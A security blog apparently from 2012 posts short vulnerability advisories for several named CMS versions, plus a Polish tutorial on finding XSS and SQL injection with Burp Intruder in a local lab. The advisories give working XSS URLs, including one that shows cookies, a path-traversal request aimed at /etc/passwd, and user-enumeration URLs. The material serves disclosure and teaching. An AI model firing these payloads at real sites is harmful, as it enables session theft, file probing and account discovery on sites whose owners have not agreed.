Friday 30 March 2012

[PL] Ceny projektów

Ask here;)

[EN] gpEasy 2.3.3 - HTML Injection / XSS


[ TITLE ....... ][ gpEasy 2.3.3 - HTML Injection / XSS
[ DATE ........ ][ 29.03.2012
[ AUTOHR ...... ][ http://hauntit.blogspot.com
[ SOFT LINK ... ][ http://gpeasy.com
[ VERSION ..... ][ 2.3.3
[ TESTED ON ... ][ LAMP
[ ----------------------------------------------------------------------- [

[ 1. What is this?
[ 2. What is the type of vulnerability?
[ 3. Where is bug :)
[ 4. More...

[--------------------------------------------[
[ 1. What is this?
This is very nice CMS, You should try it! ;)

[--------------------------------------------[
[ 2. What is the type of vulnerability?
This CMS is vulnerable to Cross-Site Scripting attack because of vulnerable
parameter: jsoncallback. Details presented below.

[--------------------------------------------[
[ 3. Where is bug :)

http://gpEasy_CMS/index.php/Admin_Preferences?gpreq=json&jsoncallback=<h1>test<br>test2<%2fh1>

[--------------------------------------------[
[ 4. More...

- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net
[
[--------------------------------------------[
[ All questions about new projects @ mail now :)
]
[ Best regards
[

[EN] eXtreme-fusion 4.5 - XSS'ed "by design"


[ TITLE ....... ][ 'Redirect to XSS' in eXtreme-fusion 4.5
[ DATE ........ ][ 27.03.2012
[ AUTOHR ...... ][ http://hauntit.blogspot.com
[ SOFT LINK ... ][ http://www.extreme-fusion.pl/
[ VERSION ..... ][ 4.5
[ TESTED ON ... ][ LAMP
[ ----------------------------------------------------------------------- [

[ 1. What is this?
[ 2. What is the type of vulnerability?
[ 3. Where is bug :)
[ 4. More...

[--------------------------------------------[
[ 1. What is this?
This is very nice CMS, You should try it! ;)

[--------------------------------------------[
[ 2. What is the type of vulnerability?
This CMS has builded-in 'redirect' parameter.
We can use this to redirect user to site with XSS/PHP payload.
I think this ('redirect' parameter) should be protected to some 'localhost'/'local-webapp'
access only. Anyway, nice code :)

[--------------------------------------------[
[ 3. Where is bug :)
$redirect parameter in 'login panel'.

This can be used to scan remote server too :)
If You want scanner, mail me.

[--------------------------------------------[
[ 4. More...

- http://www.extreme-fusion.pl/
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net
[
[--------------------------------------------[
[ All questions about new projects @ mail now :)
]
[ Best regards
[

Wednesday 28 March 2012

[PL] Testowanie webaplikacji w domu

Obiecałem ostatnio publikację artykułu, który miałem przyjemność pisać, a więc wytrwałym w oczekiwaniach, prezentuję treść poniżej. Czekam na opinie i komentarze ;)
------------------------------------------------------------------------------------------------------------------

   Wstęp
"Dziurawe" strony internetowe to temat rzeka, zresztą nie od dziś. Rozwijająca się technologia elektronicznego dostępu do danych oprócz możliwości, stwarza również zagrożenia, o których warto wiedzieć. Od kilku lat zajmuję się testowaniem bezpieczeństwa również webaplikacji, dlatego w tym artykule opiszę krok po kroku pewne etapy automatyzacji testów.  Po lekturze, Czytelnik powinien wiedzieć jak przeprowadzić "test bezpieczeństwa własnej strony WWW".
              
                Jedne z najpopularniejszych błędów na stronach internetowych to brak filtrowania treści przekazywanej  przez użytkownika. Zaliczamy do tego wszelkie miejsca na stronie (czy też w kodzie źródłowym "firmowego CMS'a"), do których użytkownik może przekazać inne dane, niż "aplikacja zakłada", że dostanie. Np.: w polu login ("same litery"), nasz 'zły-użytkownik' wpisze "same cyfry". W związku z tym, że programista "nie przewidział" takiego zachowania użytkownika, nie "zaprogramował" 'reakcji' na to zdarzenie. W związku z tym jest to błąd.  Jaki? Różnie bywa :)

W związku z tym, w tej części artykułu zajmiemy się błędami typu "Cross-Site Scripting". Hitem sezonu błędy te oczywiście nie są, a co lepsze, bardzo często są bagatelizowane. "Kojarzą się" bowiem, wyłącznie z wyskakującym okienkiem, albo obrazkiem dodanym na stronę. W związku z rozwojem technologii możemy długo rozmawiać, co można a czego nie "przez XSS", ale póki co, warto w tej sprawie dowiedzieć się więcej na popularnej Wikipedii pod adresem: http://pl.wikipedia.org/wiki/Cross_Site_Scripting. Bezdyskusyjnie jest to groźny błąd, bo jak mówią: "najmniejsza luka w Twoim systemie, to największa luka". ;)
                Wobec tego przejdźmy od razu do rzeczy i omówmy „krok po kroku” pewne etapy automatyzacji testów.
Oprócz lepszego rozumienia zagrożeń internetowych, możemy teraz do woli testować pracę naszych programistów, lub nasze własne. Zacznijmy od tych ostatnich... ;)


     Środowisko: LAMP, aplikacja którą testujemy, Burpsuite
Aby zacząć testy, przydałby nam się jeszcze "poligon doświadczalny"... :)
Doskonale nadaje się do tego komputer z programem do obsługi "wirtualnych maszyn". Ciekawym rozwiązaniem może być VirtualBox ze strony https://www.virtualbox.org/wiki/Downloads.

W internecie znajdziecie również obraz płyty (ISO) z dystrybucją Linuxa (może być dowolna, jednak w artykule bazujemy na ostatnim Ubuntu (11.04 w chwili pisania) ze strony www.ubuntu.org).

Po uruchomieniu systemu w VirtualBox'ie (lub lokalnie na laptopie), musimy zainstalować  serwer WWW z obsługą MySQL i PHP. Będą nam potrzebne w dalszej części artykułu. Nie będziemy omawiać instalacji i konfiguracji środowiska LAMP, ponieważ jest to do znalezienia "na Google" w 30 sekund ;)

Po zainstalowaniu serwera Apache, PHP'a i bazy MySQL, do naszego WWW-root zgrajmy pliki "strony internetowej" (CMS'a, forum, naszej księgi gości, dowolnie...), którą chcemy przetestować.
Możemy śmiało uruchomić przeglądarkę (w artykule: Firefox) i przejść na http://localhost/nasz-wwwroot/, aby sprawdzić, czy "wszystko działa". Jeśli etap ten mamy za sobą i widzimy "naszą stronę" na naszym lokalnym serwerze WWW, możemy przejść dalej.

Następnym krokiem jest poznanie terminu "proxy". Proxy, to pewnego rodzaju "pośrednik" (w ruchu internetowym). W przypadku proxy, z którego będziemy korzystać dalej, będzie to "pośrednik" między naszym „kliknięciem na stronie WWW", a samą stroną WWW. 


Czyli: gdy uruchomimy "proxy", wejdziemy na http://localhost/www/ (lokalizacja u Ciebie, może być inna), i na "naszej stronie" klikniemy w link (lub wypełnimy formularz), program proxy "złapie" to "zapytanie do strony" (ze wszystkimi parametrami przekazywanymi drogą
 „użytkownik <-> WWW”).
Daje nam to wiele możliwości :)
Przejdźmy teraz na stronę bardzo dobrego narzędzia proxy, mowa o BurpSuite (http://portswigger.net/).  Oprócz samego programu, znajdziemy tu również jego aktualną dokumentację. (Nie jest to jedyne rozwiązanie tego typu. Bardzo popularne są również WebScarab i ParosProxy. Na potrzeby artykułu będziemy korzystać z darmowej wersji Burp'a. Zanim go uruchomisz, sprawdź, czy na Twoim komputerze zainstalowana jest Java.)




"... po kroku"

Ok. Mamy "środowisko". Mamy "narzędzia". Mamy stronę, którą możemy przetestować. Zacznijmy wobec tego działanie od wspomnianego wcześniej ataku XSS (analogiczne „ataki” przygotowywać można również dla innych błędów, np. SQL Injection).

Cross-Site Scripting – to przekazanie pewnego kodu do webaplikacji w taki sposób, że wykonuje ona dodatkowe zadania (np. po osadzeniu na stronie pewnego kodu, haker może wykradać „cookies” lub przekierowywać użytkowników „do konkurencji” lub na stronę z phishingiem).
To nie tylko „okienka” ;) Więc…

Ciekawych bezpieczeństwa webaplikacji zapraszam na następną stronę WWW. http://ha.ckers.org/xss.html  to strona, na której RSnake omówił wiele przykładowych metod na przekazanie „kodu do aplikacji” WWW. Skorzystajmy z jego „podpowiedzi” do budowy naszego pierwszego pliku: payload.txt.  

Otwórzmy ulubiony edytor i po przeczytaniu wspomnianej wyżej strony, przepiszmy „ciągi znaków do ataku”, które najbardziej nas interesują. (Podpowiem Wam, że do testów, z ciekawości „wybrałem wszystkie”;)) Lista wobec tego może wyglądać np. tak:

 



Na potrzeby być może bardziej początkujących Czytelników mała wskazówka: jeśli w ten sposób chcecie testować swoje webaplikacje w poszukiwaniu błędów cross-site scripting, „na początek” wartości w nawiasach typu ‘XSS’, czy „XSS”, zamieńcie na wartości numeryczne, np.: alert(12345678).

Część filtrów wprowadzana przez programistów może „nie przepuścić” Waszych „ataków” z „średnik-XSS”, natomiast cyfry (zazwyczaj ;)) przechodzą. Piszę to, ponieważ „sam kiedyś zaczynałem” i okazało się pewnego razu, że spędziłem kilka godzin z Burp’em i skryptami nad tym, żeby w końcu „wpaść na pomysł”, że może w ataku można wrzucić „tylko cyfry”… J (Jako pracę domową możecie przygotować „payload” z /dev/urandom i wtedy zacznijcie skanować Burp’em;) )

Weryfikację ataków można robić oczywiście jeszcze inaczej, ale o tym ewentualnie później.
Wobec powyższego dla naszych potrzeb lekko zmieniona treść pliku payload.txt powinna wyglądać mniej więcej tak:






Jak możemy przeczytać na Wikipedii, czy na stronach OWASP (www.owasp.org),  cross-site scripting to jedna z wielu popularnych metod ataku na strony internetowe (a raczej na odbiorców tych stron. „Zły haker” który podmienia naszą stronę na taką zawierającą kod XSS np. w komentarzach wątpliwie użyje któregoś z przykładów z listy RSnake. Częściej będzie się starał, aby „jego ofiary” (zwykli użytkownicy danej strony) niczego nie podejrzewali i nic nie zauważyli.)

Wróćmy do naszej listy kroków potrzebnej do rozpoczęcia testów. Kolejne linie w pliku „payload.txt” odzwierciedlają wartości parametrów, które Burp przekaże do webaplikacji podczas „sprawdzania”. Oprócz pliku z atakami potrzebujemy pliku z „odpowiedziami”. Odpowiedzi możemy do pewnego stopnia „przewidzieć”. Da nam to punkt zaczepienia do „głębszych poszukiwań” (lub pisania exploita). 

Atak będzie wyglądać tak, że do wybranej przez nas strony („złapanej” przez Burp’a), przekazywać będziemy (jako wartości parametrów) kolejne linie z payload.txt. Będziemy odwiedzać stronę niejako „przez Burp’a”, więc treść pytania (request HTTP do strony WWW) jak i treść odpowiedzi (response) będzie widoczna w programie. Z lektury ha.ckers.org, owasp.org i google.com możemy wywnioskować „odpowiedzi”. Skoro w ataku używamy schematu (kawałka kodu), który ma się pojawić w odpowiedzi, wpiszmy ten „kawałek kodu” do pliku response.txt. (Na potrzeby projektów, tzw. „testów penetracyjnych stron WWW”, najczęściej payload dla XSS zawiera funkcję alert(), czyli właśnie „to okienko z XSS”, stąd utarło się, że XSS jest nie groźny ;)).

Dokumentacja Burp’a opisuje możliwość dodania pliku „z odpowiedziami”, tak jak była możliwość dodania „pliku z atakami”.



Szukamy odpowiedzi

Plik „response.txt” stwórzmy w tym samym katalogu co „payload.txt”. Skoro podczas ataku XSS przekazujemy przez przeglądarkę do webaplikacji pewne wartości, spodziewamy się pewnych odpowiedzi. Te właśnie „odpowiedzi” wpisujemy do pliku „response.txt”.

Powiedzmy, że czytaliśmy w internecie artykuł o atakach SQL Injection i wiemy z niego, że „gdy może być błąd” tego typu, źle napisane aplikacje zazwyczaj odpowiadają „treścią” zawierającą komunikaty takie jak: „Warning”, „SQL”, „error”, czy „invalid”. Takie właśnie „odpowiedzi”, których Burp będzie zaraz szukał, wpiszmy do naszego nowego pliku. Oprócz tego, skoro „ustawiliśmy to wcześniej” w kolejnej linii response.txt dopiszmy naszą „standardową wartość numeryczną”, którą ustaliliśmy wcześniej (będzie to 123123). (Swoją drogą w Burp’ie na karcie „Options” jest (kolejna) karta „options”. W niej autorzy programu wpisali już kilka możliwych „odpowiedzi webaplikacji”:



 
Plik z odpowiedziami na początek może wyglądać tak:


Możemy teraz zrobić następny krok w kierunku wykrywania podatności w naszych stronach internetowych. 
Do pierwszego testu, aby sprawdzić, czy nasze ustawienia pozwalają na faktyczne „wykrywanie luk” skorzystajmy z programu MFM dostępnego na stronie www.sourceforge.net. Jest to manager plików, który autor opisuje tak: „file manager for UNIX systems ( writed on FreeBSD )like MS Explorer with directory treebased …”. Do naszych testów będzie idealny :)

Pobierzmy program i rozpakujmy w katalogu naszego serwera WWW, tak  aby po przejściu na stronę http://localhost/mfm/ zobaczyć pliki tego managera. Jest tu przycisk tworzenia folderu. Na razie nic nie klikajmy tylko włączmy w Burpie przechwytywanie danych. Możemy to zrobić przechodząc w karcie „Proxy” programu do karty „intercept”, a tam klikamy „intercept on” jeśli jest wyłączone.

Firefox (w zależności od wersji) w menu Edycja -> Preferencje, lub Narzędzia -> Opcje posiada wybór kilku kart. Przejdźmy do karty „Sieć” i wybierzmy przycisk „Ustawienia”. Tam interesuje nas „ręczna konfiguracja serwerów proxy”. W pole „Serwer proxy HTTP” wpiszmy localhost lub adres 127.0.0.1, a w polu port, wpiszmy numer portu, którego używamy w Burp’ie (standardowo 8080). Ok.

Dopiero teraz w przeglądarce (i naszym managerze) spróbujmy utworzyć nowy katalog. Po podaniu nazwy w okienku webaplikacji i naciśnięciu „ok”, Burp od razu alarmuje nas o podjętej akcji (a raczej wstrzymaniu jej do naszej decyzji).

A że nasze decyzje możemy podejmować dziś jednym palcem, kliknijmy w oknie „przechwycenia” w Burpie prawy przycisk myszy, aby wybrać możliwość „send to intruder”. Po wyborze tej akcji, karta „Intrudera” w głownym oknie (Burp’a) zaświeci się na chwilę na czerwono. 
Przejdźmy tam teraz.

Burp przechwycił zapytanie do WWW.




Wysyłamy je do „Intrudera”.

Teraz możemy dodać nasz „atak” i oczekiwaną na niego „odpowiedź” do programu, aby zautomatyzować przeszukiwanie kodu tej webaplikacji (może nie do końca sprawdzamy kod „jako tako”, ponieważ testując przy pomocy Burp’a w ten sposób, testujemy właściwie „zachowanie webaplikacji na przekazanie jej konkretnych wartości dla konkretnych parametrów” od strony użytkownika, a nie „czytelnika kodu”. Tak więc błędy, które znajdziemy, równie dobrze może znaleźć każdy inny użytkownik naszej strony, czy „rozwiązania WWW”).

Dodajmy więc w karcie „Payload” nasz „payload.txt” z przykładowymi atakami (na razie tylko XSS), oraz w karcie „Options” obok, najpierw wyczyśćmy aktualną listę zaproponowaną przez twórców Burp’a (przycisk „Clear”) a później („Add”) dodajmy „response.txt” aby wprowadzić „nasze odpowiedzi”. 
Kroki te przedstawione są na rysunkach poniżej:
1. Dodajemy payload:


2. Dodajemy „odpowiedzi”, które pozwolą nam szybko wskazać podatność:

Jak można zauważyć na obrazku (payload), przy „przekierowaniach” zaznaczyłem „zawsze” („always”). Czytelnikom polecam sprawdzenie wyników bez ustawiania przekierowań („never”) oraz „z nimi” jako pracę domową. Porównajcie wyniki.

Gdy ustawimy już pytania i odpowiedzi w naszym proxy, możemy rozpocząć „atak”. Wybierzmy z menu na samej górze „Intruder -> start attack”. 

W nowym oknie Burp pokaże nam wyniki (w tym nasze szukane-znalezione „odpowiedzi”):

3. Kolorem czerwonym na tym obrazku zaznaczyłem miejsce, w których Burp uznał coś za „podatne” (przynajmniej tak możemy rozumieć wyniki podczas prezentowanej tu automatyzacji testów).

Aby zweryfikować czy faktycznie w tym programie występuje luka XSS, kliknijmy na „atak”, w którym Burp wskazał wszystkie (lub wiele) odpowiedzi, prawym klawiszem myszy i wybierzmy akcję „show response in browser”. Następnie w oknie przeglądarki w polu adresu wpiszmy („Ctrl+V”) adres skopiowany z Burp’a.
( Wyślij atak do przeglądarki.)
Po naciśnięciu „Enter”, nie trzeba długo czekać na wynik:
  
- Znaleziona podatność XSS w webaplikacji
Bingo! Udało nam się zautomatyzować proces „prostego szukania luk”. Myślę, że w związku z tym prostym przykładem, możemy „przesiąść się na testy czegoś mocniejszego”. 

W następnej części artykułu omówimy poszukiwania SQL injection. 

Skoro wiemy już jak przygotować się do przykładowego ataku, kolejnym krokiem jest poznanie „magii SQL injection”. (Czytelników, którzy nie do końca rozumieją na czym polegają te ataki, zapraszam „na Wikipedię” .) Aby spróbować znaleźć błędy tej klasy, zmieńmy trochę nasz plik payload.txt oraz response.txt. Przykładowe, bardzo pomocne „ciągi znaków” (poprawne lub nie, zapytania do bazy danych w języku SQL) możecie znaleźć w internecie. Jedną z moich ulubionych „list”, z których kiedyś korzystałem do wykrywania podatności tego typu, zbudowałem w oparciu o http://pentestmonkey.net/cheat-sheet/sql-injection/mysq-sql-injection-cheat-sheet . Wspomniany RSnake, również ma dla Was coś do poczytania w tym zakresie na http://ha.ckers.org/sqlinjection

Przykładowy plik do ataków może zawierać takie wiersze jak:



Najpopularniejsze odpowiedzi w przypadku tych ataków znajdziecie w treści na wspomnianych stronach oraz we wcześniejszej części artykułu. Niektóre z nich, autorzy Burp’a zaproponowali domyślnie (i te ponownie „na początek” będą dobre do naszych testów).

Jakie mogą być rezultaty szukania błędów SQL injection za pomocą automatycznej pracy Burp’a możecie sprawdzić na blogu http://hauntit.blogspot.com. Ostatnio dodałem tam informacje na temat SQL injection w najnowszym Bloofox CMS. 

Wykonując analogiczne kroki dla BloofoxCMS jak dla webaplikacji użytej do testów w artykule, Czytelnik znajdzie błąd SQL Injection bez problemu „sam” :)

Testy opisane tutaj, to oczywiście „kropla w morzu” jeśli chodzi o szukanie błędów. 


Jak się bronić przed tego typu atakami

To kolejna zagwozdka, tym razem z drugiej strony barykady. W odniesieniu do wspominanej już Wikipedii, która podobnie do artykułów technicznych w internecie, zaleca maksymalnie przemyślane filtrowanie treści przekazywanej przez użytkownika, oprócz tego dodatkowo zalecałbym cykliczne testy bezpieczeństwa. Jak wiadomo, „co dwie głowy to nie jedna”, a w bezpieczeństwie firmowych sekretów, konstruktywna współpraca może przynosić relacje na lata.


Podsumowanie
Temat testów bezpieczeństwa WWW oraz ich automatyzację poruszę jeszcze nie raz w artykułach lub na blogu. Następną publikację planuję poświęcić na omówienie wykrywania innych błędów za pomocą Burp’a. Ostatnio znalazłem kilka nowych zastosowań dla Burp’a więc w następnej części omówię znajdowanie podatności typu „user enumeration” lub „remote code execution”.

Powodzenia w kreatywności w poszukiwaniu błędów!

_____________________________________
Użyte linki:
Wikipedia – pl.wikipedia.org
Ubuntu  - www.ubuntu.com
OWASP – www.owasp.org
Google – www.google.pl
_____________________________________


 

 

[EN] Joomla 2.5.3 XSS


Yes, it's true. But for more informations You must wait until Joomla Security Team release update ;)

For this time, this bug will be used only in new projects - as always ;)

Questions here ;)

[EN] 'Redirect to XSS' in eXtreme-fusion 4.5

[ TITLE ....... ][ 'Redirect to XSS' in eXtreme-fusion 4.5
[ DATE ........ ][ 27.03.2012
[ AUTOHR ...... ][ http://hauntit.blogspot.com
[ SOFT LINK ... ][ http://www.extreme-fusion.pl/
[ VERSION ..... ][ 4.5
[ TESTED ON ... ][ LAMP
[ ----------------------------------------------------------------------- [

[ 1. What is this?
[ 2. What is the type of vulnerability?
[ 3. Where is bug :)
[ 4. More...

[--------------------------------------------[
[ 1. What is this?
This is very nice CMS, You should try it! ;)

[--------------------------------------------[
[ 2. What is the type of vulnerability?
This CMS has builded-in 'redirect' parameter.
We can use this to redirect user to site with XSS/PHP payload.
I think this ('redirect' parameter) should be protected to some 'localhost'/'local-webapp'
access only. Anyway, nice code :)

[--------------------------------------------[
[ 3. Where is bug :)
$redirect parameter in 'login panel'.

This can be used to scan remote server too :)
If You want scanner, mail me.

[--------------------------------------------[
[ 4. More...

- http://www.extreme-fusion.pl/
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net
[
[--------------------------------------------[
[ All questions about new projects @ mail now :)
]
[ Best regards
[

[EN] Yaqas CMS Alpha1 Information Disclosure

# TITLE ....... # Yaqas CMS Alpha1 Information Disclosure  #
# DATE ........ # 25.03.2012  #
# AUTOHR ...... # http://hauntit.blogspot.com  #
# SOFT LINK ... # YAQAS - Yet Another Question & Answer System @ google  #
# SOFT Copyright# "(C) 2012  Karpouzas George" *  #
# VERSION ..... # Alpha1  #
# TESTED ON ... # LAMP  #
# ..................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#............................................#
# 2. What is the type of vulnerability?
# 2.1 information disclosure

If we'll send PHPSESSID = %3b)() , error information (maybe visible only in src) should be like this:

"Warning: session_start():
The session id is too long or contains illegal characters, valid characters
are a-z, A-Z, 0-9 and '-,' in /your/www/yaqas-release-alpha1/src/lib/session.php on line 32"
 
# 2.2 btw:
http://yaqas-release-alpha1/src/index.php?q=%29%2f*%20]]%3E%20*%2f%3Cimg%20src%3dxxx%20onerror%3dalert%28123123123123%29%3E&type=nhf


#............................................#
# 3. Where is bug :)


#............................................#
# 4. More...

- (*) from license : YAQAS - Yet Another Question & Answer System // Copyright (C) 2012  Karpouzas George
- http://www.google.com
- http://hauntit.blogspot.com
- http://portswigger.net

#............................................#
# Ask me about new projects...
#
# Best regards
#

[EN] Quick.Cms_v4.0 XSS-over-GET

# TITLE ....... # Quick.Cms_v4.0 XSS-over-GET ..................................... #
# DATE ........ # 18.03.2012 .......................................... #
# AUTOHR ...... # http://hauntit.blogspot.com ......................... #
# SOFT LINK ... # http://opensolution.org/ ................................. #
# VERSION ..... # 4.0 ............................................... #
# TESTED ON ... # LAMP ................................................ #
# ..................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#............................................#
# 2. What is the type of vulnerability?
Cross-site scripting.

#............................................#
# 3. Where is bug :)
http://Quick.Cms_v4.0/admin/?p=[url%3d%22%29%3b%happy.3friends:x+s+s:)[%2furl]

#............................................#
# 4. More...

- http://hauntit.blogspot.com
- http://opensolution.org/
- http://www.google.com
- http://portswigger.net

#............................................#
# Best regards
#

[EN] Quick.Cart_v5.0 Information disclosure

# TITLE ....... # Information disclosure in Quick.Cart_v5.0 
# DATE ........ # 18.03.2012 
# AUTOHR ...... # http://hauntit.blogspot.com 
# SOFT LINK ... # http://http://opensolution.org/ 
# VERSION ..... # 5.0
# TESTED ON ... # LAMP
# -----------------------------------------------------------------------  #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

-----------------------------------------------------------
# 1. What is this?
"Fast and simple shopping cart". You should try it! ;)

# -----------------------------------------------------------  #
# 2. What is the type of vulnerability?
Set cookie to "http://somethi.ng" to see:
"Warning: session_start(): The session id is too long or contains illegal characters,
valid characters are a-z, A-Z, 0-9 and '-,' in /www/Quick.Cart_v5.0/index.php on line 17 "

# ----------------------------------------------------------- #
# 3. Where is bug :)


# ----------------------------------------------------------- #
# 4. More...

- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

# ----------------------------------------------------------- #
# Best regards
#


Tuesday 20 March 2012

[PL] Ponownie u Pawła!

Paweł już po raz kolejny publikuje newsa, gdzie występuję w rolach głownych :)
Tym razem, zapraszamy do mniej technicznej lektury przy kawie tutaj.







Dzięki za czas! ;)

Sunday 18 March 2012

[EN] "How to stop Wordpress user enumeration"


After I published few vulnerabilities called "user enumeration" (for latest Wordpress for example),
I saw many words in 'statistic' of this blog like:
"how to stop wordpress user enumeration".

Nice idea to talk:)

In my opinion, the simplest way to stop user enumeration is create file (or rule)
when if You add "good input" the output said "ok". But if You add "wrong input" answer should be
404 defined by You. ("404.php" could be vulnerable to if it's presenting us some $params-values in output of 404)

So if user send wrong-input, reaction of application should be the same as it is for non-existing content.
For example: "You asked wrong".

Simple. :)


If You want more ideas, let me do it for You ;)


[EN] Drupal 7.12 - enumeration/counter bug for (registered only)


As I wrote here, there is few bugs in latest Drupal (7.12).
I sad I will public it in April, but... enjoy today ;)

# TITLE ....... # Drupal 7.12 enumeration/counter bug for registered only.... #
# DATE ........ # 12.03.2012 ................................................... #
# AUTOHR ...... # http://hauntit.blogspot.com ............................... #
# SOFT LINK ... # http://drupal.org ......................................... #
# VERSION ..... # 7.12....................................................... #
# TESTED ON ... # LAMP ...................................................... #
# ........................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#............................................#
# 2. What is the type of vulnerability?
This is user enumeration or 'encouting bug' (the same situation is
in latest Wordpress (3.3.1) that I've described at my blog:

#............................................#
# 3. Where is bug :)
In admin panel we can set permitions for user like this:
- user can see other profiles
- user can not ;]

Vulnerability (if 'can see') can be used to get names of other users in webapp.
Vulnerability (if 'can not') can be used to count users (like in WP3.3.1)

Bug is because of way of how Drupal is informing user about an error.
If we can 'GET' to id-of-other-user, we can see 'Access Denied' or 'Page not found'.
http://drupal-7.12/?q=user/1  <-- user exist : "Access Denied"
http://drupal-7.12/?q=user/123123123 <-- user not exist : "Page could not be found"

Got it? ;)
#............................................#
# 4. More...

- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

#............................................#
# Best regards
#

[EN]PrestaShop 1.4.7.0 - XSS-over-GET for/from admin


# TITLE ....... # XSS-over-GET in PrestaShop 1.4.7.0 (for/from admin only) .... #
# DATE ........ # 14.03.2012 ................................................. #
# AUTOHR ...... # http://hauntit.blogspot.com ................................ #
# SOFT LINK ... # http://www.prestashop.com .................................. #
# VERSION ..... # 1.4.7.0 .................................................... #
# TESTED ON ... # LAMP ....................................................... #
# ............................................................................ #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#............................................#
# 2. What is the type of vulnerability?

Simple XSS this time "for admin user only".

What's that mean:
To see vulnerability, go to Your login page and login as an admin.
Next in URL bar type 3).

#............................................#
# 3. Where is bug :)
http://prestashop_1.4.7.0/prestashop/admin12/index.php?tab=AdminCatalog&id_category=");<img src=moc onerror=alert(141012)>&categoryOrderby=name&categoryOrderway=asc&token=token

Vulnerable parameter is id_category.


By the way, there is one funny thing I found in this webapp too:
when You will set up parameter 'categoryOrderby' to '//%e00' (without ''), response will be 200 but page will... 'changed' ;]
hf
#............................................#
# 4. More...

- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

#............................................#
# Best regards
#

[EN] PrestaShop 1.4.7.0 - XSS for logged-in users


# TITLE ....... # PrestaShop 1.4.7.0 XSS for loged-in users ............. #
# DATE ........ # 14.03.2012 ............................................ #
# AUTOHR ...... # http://hauntit.blogspot.com ........................... #
# SOFT LINK ... # http://www.prestashop.com ............................. #
# VERSION ..... # 1.4.7.0 ............................................... #
# TESTED ON ... # LAMP .................................................. #
# ....................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#............................................#
# 2. What is the type of vulnerability?
XSS for logged-in users.

#............................................#
# 3. Where is bug :)

Log in as Your 'normal user'.
And enjoy:
http:///prestashop_1.4.7.0/admin12/index.php?tab=AdminTranslations&lang=/*<script>alert(document.cookie)</script>/*&type=front&token=your.token


#............................................#
# 4. More...

- http://www.prestashop.com
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

#............................................#
# Best regards
#

[EN] PragmaMX 1.12.1 - remote file enumeration


# TITLE ....... # PragmaMx 1.12.1 remote file enumeration ......................................... #
# DATE ........ # 15.03.2012 ...................................................................... #
# AUTOHR ...... # http://hauntit.blogspot.com ..................................................... #
# SOFT LINK ... # http://pragmamx.org ............................................................. #
# VERSION ..... # 1.12.1 .......................................................................... #
# TESTED ON ... # LAMP ............................................................................ #
# ................................................................................................. #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#..........................................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#..........................................................#
# 2. What is the type of vulnerability?

This is "remote file enumeration" bug.
After some fuzzing tests I found nice behavior of new PragmaMX.

The "correct functionality" is z-parameter is handling image filename.
I've done something else. I pointed 'filename' to 'other file in file system',
for example /etc/passwd.


#..........................................................#
# 3. Where is bug :)

Vulnerable is "z" parameter.
If we send GET like this:

http://pragmamx.1.12.1/html/modules.php?name=My_eGallery&file=image&z=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&width=295&height=420

our response should looke like:
...cut.from.Burp...
(...)
 <head>
    <title>/etc/passwd</title>
  </head>
  <body style="margin: 0; padding: 0;">
    <img src="../../../../../../../../../../../../etc/passwd" width="295" height="420" alt="/etc/passwd" />  </body>
</html>
...cut.from.Burp...

This will be an answer "if remote file is there". By "there" I mean localization-of-file-You-point.

If there won't be a file You choosed, answer will be something like:
(GET:
http://pragmamx.1.12.1/html/modules.php?name=My_eGallery&file=image&z=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswdlalala.txt&width=295&height=420
)

...cut.from.Burp...
 <head>
    <title></title>
  </head>
  <body style="margin: 0; padding: 0;">
    <img src="../../../../../../../../../../../../etc/passwdlalala.txt" width="295" height="420" alt="" />  </body>
</html>
...cut.from.Burp...

So the difference is in "alt" tag in answer.
If in remote server we can 'find a file x', then this 'x' name will be presented in HTTP response.
If in remote localization we can not find a file (x), then output (alt tag) should be blank.

This vulnerability can be used to:
a) check for some other lfi/rfi-based attacks
b) write a bruteforcer to determine OS/PHP-version, get paths of configs, etc...


And here will be more:
./modules/My_eGallery/image.php:19:$img = (isset($_GET['z']) && is_string($_GET['z'])) ? $_GET['z'] : '';


#..........................................................#
# 4. More...

- http://www.pragmamx.org
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

#..........................................................#
# 5. Mail me, I'm still looking for a new projects... ;)

#............................................#
# Best regards
#

[EN] Sidu 3.3 CMS - XSS for logged-in users


# TITLE ....... # Sidu 3.3 CMS XSS (for logged in users) ............... #
# DATE ........ # 17.03.2012 ........................................... #
# AUTOHR ...... # http://hauntit.blogspot.com .......................... #
# SOFT LINK ... # http://sidu.sf.net ................................... #
# VERSION ..... # 3.3 .................................................. #
# TESTED ON ... # LAMP ................................................. #
# ...................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#................................................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#...............................................................#
# 2. What is the type of vulnerability?
This is cross-site scripting for logged-in users.

#...............................................................#
# 3. Where is bug :)
http://sidu33/sidu33/sql.php?id=1&sql=<xss>here

#..............................................................#
# 4. More...

- http://sidu.sf.net
- http://hauntit.blogspot.com
- http://www.google.com
